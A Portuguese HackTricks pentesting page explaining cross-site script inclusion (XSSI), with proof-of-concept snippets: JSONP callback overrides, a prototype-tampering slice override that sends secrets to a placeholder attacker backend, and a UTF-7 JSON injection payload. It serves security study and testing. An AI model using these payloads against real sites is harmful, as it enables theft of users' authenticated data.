XSSI (Inclusão de Script entre Sites)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Adquira o swag oficial do PEASS & HackTricks
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.

As informações foram retiradas de https://www.scip.ch/en/?labs.20160414

Informações Básicas

XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um recurso é incluído usando a tag script, a SOP não se aplica, porque os scripts devem ser capazes de serem incluídos entre domínios. Um atacante pode, portanto, ler tudo o que foi incluído usando a tag script.

Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiental, como cookies, são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente.

Tipos

JavaScript estático (XSSI regular)
JavaScript estático, que só é acessível quando autenticado
JavaScript dinâmico
Não-JavaScript

XSSI Regular

As informações privadas estão localizadas dentro de um arquivo JS global acessível, você pode detectar isso apenas lendo arquivos, procurando palavras-chave ou usando regexps.
Para explorar isso, basta incluir o script com informações privadas dentro do conteúdo malicioso:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

XSSI baseado em JavaScript dinâmico e XSSI autenticado em JavaScript

Informações confidenciais são adicionadas ao script quando um usuário o solicita. Isso pode ser facilmente descoberto enviando a solicitação com e sem os cookies, se informações diferentes forem recuperadas, então informações confidenciais podem estar contidas. Para fazer isso automaticamente, você pode usar a extensão do burp: https://github.com/luh2/DetectDynamicJS.

Se as informações residirem dentro de uma variável global, você pode explorá-las usando o mesmo código que para o caso anterior.
Se os dados confidenciais forem enviados dentro de uma resposta JSONP, você pode substituir a função executada para recuperar as informações:

<script>
      //The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
      var angular = function () { return 1; };
      angular.callbacks = function () { return 1; };      
      angular.callbacks._7 = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

Ou você também pode definir uma função preparada para ser executada pela resposta JSONP:

<script>
      leak = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Se uma variável não reside no namespace global, às vezes isso pode ser explorado de qualquer maneira usando prototype tampering. O prototype tampering abusa do design do JavaScript, ou seja, quando interpretando o código, o JavaScript percorre a cadeia de protótipos para encontrar a propriedade chamada. O exemplo a seguir é extraído do artigo The Unexpected Dangers of Dynamic JavaScript e demonstra como substituir uma função relevante do tipo Array e acessar this, uma variável não global, pode ser vazada também.

(function(){
  var arr = ["secret1", "secret2", "secret3"];
  // intents to slice out first entry
  var x = arr.slice(1);
  ...
})();

No código original, slice do tipo Array acessa os dados que nos interessam. Um atacante pode, como descrito na cláusula anterior, substituir slice e roubar os segredos.

Array.prototype.slice = function(){
  // leaks ["secret1", "secret2", "secret3"]
  sendToAttackerBackend(this);
};

O pesquisador de segurança Sebastian Lekies atualizou recentemente sua lista de vetores.

Non-Script-XSSI

Takeshi Terada descreve outro tipo de XSSI em seu artigo Ataques baseados em identificadores XSSI. Ele conseguiu vazar arquivos Non-Script entre origens diferentes, incluindo, entre outros, arquivos CSV como fonte na tag script, usando os dados como nomes de variáveis e funções.

O primeiro ataque XSSI documentado publicamente foi em 2006. A entrada do blog de Jeremiah Grossman Técnicas avançadas de ataque web usando o GMail descreve um XSSI que, ao substituir o construtor Array, foi capaz de ler a lista de endereços completa de uma conta do Google.

Em 2007, Joe Walker publicou JSON não é tão seguro quanto as pessoas pensam que é. Ele usa a mesma ideia para roubar JSON que está dentro de um Array.

Outros ataques relacionados foram realizados injetando conteúdo codificado em UTF-7 no JSON para escapar do formato JSON. É descrito por Gareth Heyes, autor do Hackvertor, na entrada do blog JSON Hijacking lançado em 2011. Em um teste rápido, isso ainda era possível no Microsoft Internet Explorer e Edge, mas não no Mozilla Firefox ou Google Chrome.

JSON com UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Incluindo o JSON na página do atacante

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>